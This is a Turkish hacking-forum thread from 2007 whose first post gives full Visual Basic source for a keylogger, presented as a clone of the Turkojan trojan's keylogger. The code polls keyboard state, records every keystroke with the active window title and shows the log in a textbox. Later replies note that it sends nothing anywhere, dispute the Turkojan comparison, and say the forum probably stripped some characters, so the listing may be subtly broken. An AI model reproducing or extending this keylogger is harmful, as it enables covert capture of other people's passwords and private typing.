Tahribat.com Forumları
Visual Basic - Basic - PicBasic ve Türevleri
Visual Basic İle Keylogger [Turkojan V3.0"In Online Keyloggerının Aynısı]

Yazar Antikky (1) AntiOksidan (1) ertan (1) holocaust (1) MaxDreameR (1) Musket (2) Ravage (1) Rawkmetal (1) Gösterim 10 50 75 100
Ağ ve Veri Güvenliği     Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri     Web sitesi Güvenliği, DOS - DDOS Saldırıları...     Bilgisayar Güvenliği - Backdoorlar     Virüs - Trojan - Keylogger - BotNet     Skype - Mirc - Irc - Icq - Mail Güvenliği     Bilişim Güvenliği     Hesaplar / Üyelikler     Domain - Hosting - Reseller - Dedicated Server - Virtual Server - IRC Shell - Seedbox     İnternet Güvenliğine Giriş Programlama     C#, Asp.Net, .Net Core     C - C++     Delphi - Pascal     Visual Basic - Basic - PicBasic ve Türevleri     Java     Android - IOS Programlama     Mobil Programlama     Asp - Php - Cgi - Perl     Assembly - Reverse Engineering     Html - CSS - XML - JavaScript - Ajax     Database - Veritabanı     Python     Grafik - Animasyon - Flash - 3D Modelleme     Webmaster ve Yazılım Geliştiriciler     Google / Yandex / Bing ve Servisleri     Programlama Genel     Programlamaya Giriş Bilgisayar ve Teknoloji     Microsoft Windows Ailesi İşletim Sistemleri     Yapay Zeka     Linux ve Diğer İşletim Sistemleri     Donanım & Driver     Network - İnternet     Elektronik / Embedded / Mobil Cihazlar     Kriptoparalar & Blockchain     Fotografçılık ve Digital Fotograf Makineleri - Video Kameralar     Cep Telefonları, Gsm Operatörleri ve Mobil İnternet     Oyunlar     Yazılımlar / Diğer Programlar     Bilgisayarla İlgili Diğer Konular İnternet     Download / Dosya Paylaşım     Bilgisayar ve Internet Teknolojileri İle İlgili Video / Resim / Flash Paylaşım     İnternet Siteleri     Sosyal Ağlar Genel     Genel     Gündem - Güncel Konular     Derin Konular     Bilim Teknik Teknoloji     Müzik & Sinema & Tiyatro & Kitap & Televizyon & Seminerler & Edebiyat     Eğitim & Ödev & Bilimsel Döküman     E-Book     İş - Güç, E-Ticaret, Alışveriş     Hukuk & Muhasebe & Sigorta Soru - Cevap     Ulaşım Araçları ve Seyahat     Vukuatlar     Geyik & Teknoloji İle İlgili Olmayan Video / Resim / Flash Paylaşım Tahribat.com Konuları     Tahribat.com Programları®     Tahribat.Com - Açık Kapılar Önünde     Tahribat.Com - Sosyal Etkinlikler     TahriDepo

Visual Basic İle Keylogger [Turkojan V3.0"In Online Keyloggerının Aynısı]

1. 17/Mar/07 21:08 Kısayol Şikayet Özel Mesaj
   holocaust
   
   

   Kayıt Tarihi: 11/Eylül/2005
   

   Form üzerine 1 adet timer [timer1]
   1 adet textbox [text1]
   text1 'in multiline özelliğini true yapın
   text1'in scrollbars özelliğini vertical yapın
   
   kodu olduğu gibi general declarations'a.. .yapıştırın
   
   
   Private Declare Function GetForegroundWindow Lib "user32" () As Long
   Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
   Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
   Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
   Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
   Dim a(0 To 9) As String
   Dim Baslik As String
   Private Sub Form_Load()
   Timer1.Interval = 10
   Timer1.Enabled = True
   Me.Width = 7755
   Me.Height = 7650
   Text1.Width = 4935
   Text1.Top = 120
   Text1.Height = 6255
   End Sub
   Private Sub Timer1_Timer()
   On Error Resume Next
   Dim BasilanTus As String
   Dim dongu As Byte
   If Baslik <> BasligiAl(GetForegroundWindow) Then
   Baslik = BasligiAl(GetForegroundWindow)
   Text1 = Text1 & " [ " & Baslik & " ] " & vbCrLf
   End If
   If GetAsyncKeyState(13) = -32767 Then
   BasilanTus = vbCrLf
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(8) = -32767 Then
   Text1 = Left(Text1, Len(Text1) - 1)
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(32) = -32767 Then
   BasilanTus = " "
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(186) = -32767 Then
   If ShiftTusu = True Then BasilanTus = ":"
   If ShiftTusu = False Then BasilanTus = ";"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(187) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "+"
   If ShiftTusu = False Then BasilanTus = "="
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(188) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "<"
   If ShiftTusu = False Then BasilanTus = ","
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(189) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "_"
   If ShiftTusu = False Then BasilanTus = "-"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(190) = -32767 Then
   If ShiftTusu = True Then BasilanTus = ">"
   If ShiftTusu = False Then BasilanTus = "."
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(191) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "?"
   If ShiftTusu = False Then BasilanTus = "/"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(192) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "~"
   If ShiftTusu = False Then BasilanTus = "`"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(96) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "0"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(97) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "1"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(98) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "2"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(99) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "3"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(100) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "4"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(101) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "5"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(102) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "6"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(103) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "7"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(104) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "8"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(105) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "9"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(106) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "*"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(107) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "+"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(108) = -32767 Then
   If ShiftTusu = False Then BasilanTus = ""
   Text1.Text = Text1.Text & vbCrLf
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(109) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "-"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(110) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "."
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(111) = -32767 Then
   If ShiftTusu = False Then BasilanTus = "/"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(219) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "{"
   If ShiftTusu = False Then BasilanTus = "["
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(220) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "|"
   If ShiftTusu = False Then BasilanTus = "\"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(221) = -32767 Then
   If ShiftTusu = True Then BasilanTus = "}"
   If ShiftTusu = False Then BasilanTus = "]"
   GoTo tusuyaz
   End If
   If GetAsyncKeyState(222) = -32767 Then
   If ShiftTusu = True Then BasilanTus = Chr(34)
   If ShiftTusu = False Then BasilanTus = "'"
   GoTo tusuyaz
   End If
   dongu = 48
   Do Until dongu = 91
   If GetAsyncKeyState(dongu) = -32767 Then
   
   If dongu >= 65 And dongu <= 90 Then
   If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
   If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
   If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
   If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
   GoTo tusuyaz
   End If
   If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
   If ShiftTusu = True Then
   BasilanTus = a(Val(Chr(dongu)))
   GoTo tusuyaz
   End If
   End If
   End If
   dongu = dongu + 1
   Loop
   Exit Sub
   tusuyaz:
   BasilanTus = Replace(BasilanTus, "ı", "i", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, ">", ":", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, "\", "ç", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, "]", "ü", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, "[", "ğ", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, "'", "i", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, ";", "ş", , , vbTextCompare)
   BasilanTus = Replace(BasilanTus, "/", "ö", , , vbTextCompare)
   Text1.Text = Text1.Text & BasilanTus
   End Sub
   Function BasligiAl(hwnd As Long)
   Dim hWndTitle As String
   hWndTitle = String(GetWindowTextLength(hwnd), 0)
   GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
   BasligiAl = hWndTitle
   End Function
   Public Sub tusuyaz()
   Text1.Text = Text1 & BasilanTus
   Text1.SelLength = Len(Text1)
   End Sub
   Public Function ShiftTusu() As Boolean
   ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
   End Function
   Public Function CapsLockTusu() As Boolean
   CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
   End Function
   'Sorularınız İçin Holocaust@w.cn adresine mail atabilirsiniz...

   ---

   Holocaust The Late Night Hacker
   Alıntı yap
2. 17/Mar/07 21:21 Kısayol Şikayet Özel Mesaj
   Musket
   
   
   

   Kayıt Tarihi: 09/Haziran/2002
   

   VB bilmiyorum açıkcası, kodları da okumadım...
   
   Ama bence kodları bu foruma direk kopyalamak akıllıca bir fikir değil, cunku birçok işaret muhtemelen silinmiştir forum tarafından...
   Alıntı yap
3. 17/Mar/07 21:29 Kısayol Şikayet Özel Mesaj
   MaxDreameR
   
   

   Kayıt Tarihi: 14/Haziran/2006
   

   ya hacı eywallah saolda hepsini tek başlık altında toplasaydın daha iyi olmazmıydı cok daıttın etrafı sanki.

   ---

   " ' "
   Alıntı yap
4. 17/Mar/07 21:37 Kısayol Şikayet Özel Mesaj
   holocaust
   
   

   Kayıt Tarihi: 11/Eylül/2005
   

   hoca haklısın ama benim sınavlar başladı yetişemiyorum

   ---

   Holocaust The Late Night Hacker
   Alıntı yap
5. 17/Mar/07 21:41 Kısayol Şikayet Özel Mesaj
   ertan
   
   

   Kayıt Tarihi: 21/Temmuz/2005
   

   hoca bunu sen mi yaptın? Ayrıca turkojan ile aynı özelliklere mi sahip..
   yapmış olduğun basit bir log tutucu.. onu da bi yere postlamıyorsun hiç bi işe yaramaz yani. Ben bi keylogger yaptım aylardır uğraşıyorum ki hala çok eskiği var. Yazın devam edeceğim kaldığım yerde.. Başlık ile kodlar uyuşmuyor

   ---

   Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona göre karşıma gelin...
   Alıntı yap
6. 17/Mar/07 21:46 Kısayol Şikayet Özel Mesaj
   Antikky
   
   
   

   Kayıt Tarihi: 01/Mayıs/2003
   

   Turkojan delphi,senin kodların VB..aynısı derken?

   ---

   Umursamaz Tavrımın Hastası Olunuz.
   Alıntı yap
7. 17/Mar/07 21:48 Kısayol Şikayet Özel Mesaj
   Ravage
   
   

   Kayıt Tarihi: 02/Ocak/2006
   

   hem turkojanın aynısı bile olsa artık daha yeni daha iyi prglara ihtiyaç var...
   aynısını, benzerini yapmak mrifet deil [Sende başka bir tip trojan yap kardeş ]

   ---

   Buralar bizden sorulur... Ravage@tahribat.com
   Alıntı yap
8. 17/Mar/07 21:50 Kısayol Şikayet Özel Mesaj
   Rawkmetal
   
   

   Kayıt Tarihi: 16/Şubat/2005
   

   kodlar c/p bir post olayı yok.

   ---

   dünya yan geldi. dalganıza bakın...
   Alıntı yap
9. 17/Mar/07 22:02 Kısayol Şikayet Özel Mesaj
   AntiOksidan
   
   

   Kayıt Tarihi: 03/Ekim/2005
   

   @Musket
   -----
   VB bilmiyorum açıkcası, kodları da okumadım...
   
   Ama bence kodları bu foruma direk kopyalamak akıllıca bir fikir değil, cunku birçok işaret muhtemelen silinmiştir forum tarafından...
   --------
   
   muhtemelen değil silinmiş : )
   Alıntı yap
10. 17/Mar/07 22:07 Kısayol Şikayet Özel Mesaj
    Musket
    
    
    

    Kayıt Tarihi: 09/Haziran/2002
    

    Upload edersen...
    
    www.rapidshare.de
    
    Belki birinin işine yarar ?
    Alıntı yap

Cevapla